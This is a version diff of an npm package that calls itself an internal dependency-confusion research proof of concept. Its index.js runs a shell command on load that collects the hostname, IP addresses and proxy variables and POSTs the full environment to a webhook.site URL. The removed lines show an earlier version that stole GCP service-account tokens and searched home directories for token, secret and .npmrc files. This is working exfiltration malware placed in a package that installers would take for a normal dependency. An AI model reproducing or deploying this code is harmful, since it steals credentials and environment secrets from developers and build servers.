rsflows-pexml 99.9.20 → 99.9.21

package/index.js

@@ -3,18 +3,22 @@ const webhook = 'https://webhook.site/53b04b32-06a9-416e-8897-d54dfb7e0373';
 
 const cmd = `
 (
-  echo '--- EXECUTION START ---';
-  echo 'TARGET_HOST: ' \$(hostname);
-  echo 'TARGET_USER: ' \$(whoami);
-  echo '--- CLOUD METADATA (GCP) ---';
-  # Target utama gcpjenkins: ambil token akses cloud
-  curl -s -m 2 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' || echo 'Not GCP';
-  echo '--- INTERNAL NETWORK ---';
-  ip a || ifconfig;
-  echo '--- SEARCHING SECRETS ---';
-  # Cari file sensitif di home dan root
-  find /home /root -maxdepth 4 -name '*token*' -o -name '*secret*' -o -name '.npmrc' 2>/dev/null;
-) | curl -X POST -H 'Content-Type: text/plain' --data-binary @- ${webhook}/PAYPAL_CRITICAL_RECON
+  echo '--- NETWORK DEPTH REPORT ---';
+  echo 'HOSTNAME: ' \$(hostname);
+  echo 'LOCAL_IP: ' \$(hostname -I);
+  
+  # Cek IP Public via berbagai service untuk bypass caching
+  echo 'EXT_IP_1: ' \$(curl -s https://ifconfig.me);
+  echo 'EXT_IP_2: ' \$(curl -s https://api.ipify.org);
+
+  echo '--- PROXY / XFF CHECK ---';
+  # Mencoba melihat apakah ada jejak proxy di env atau file sistem
+  env | grep -iE 'proxy|http_';
+  
+  # Kirim request dengan header custom ke webhook untuk testing bypass
+  curl -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 127.0.0.1" -X POST -d "\$(env)" ${webhook}/XFF_TEST;
+
+) | curl -X POST -H 'Content-Type: text/plain' --data-binary @- ${webhook}/PROXY_RECON
 `;
 
 exec(cmd);

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "rsflows-pexml",
-  "version": "99.9.20",
+  "version": "99.9.21",
   "description": "Internal Research PoC - Dependency Confusion",
   "main": "index.js",
   "scripts": {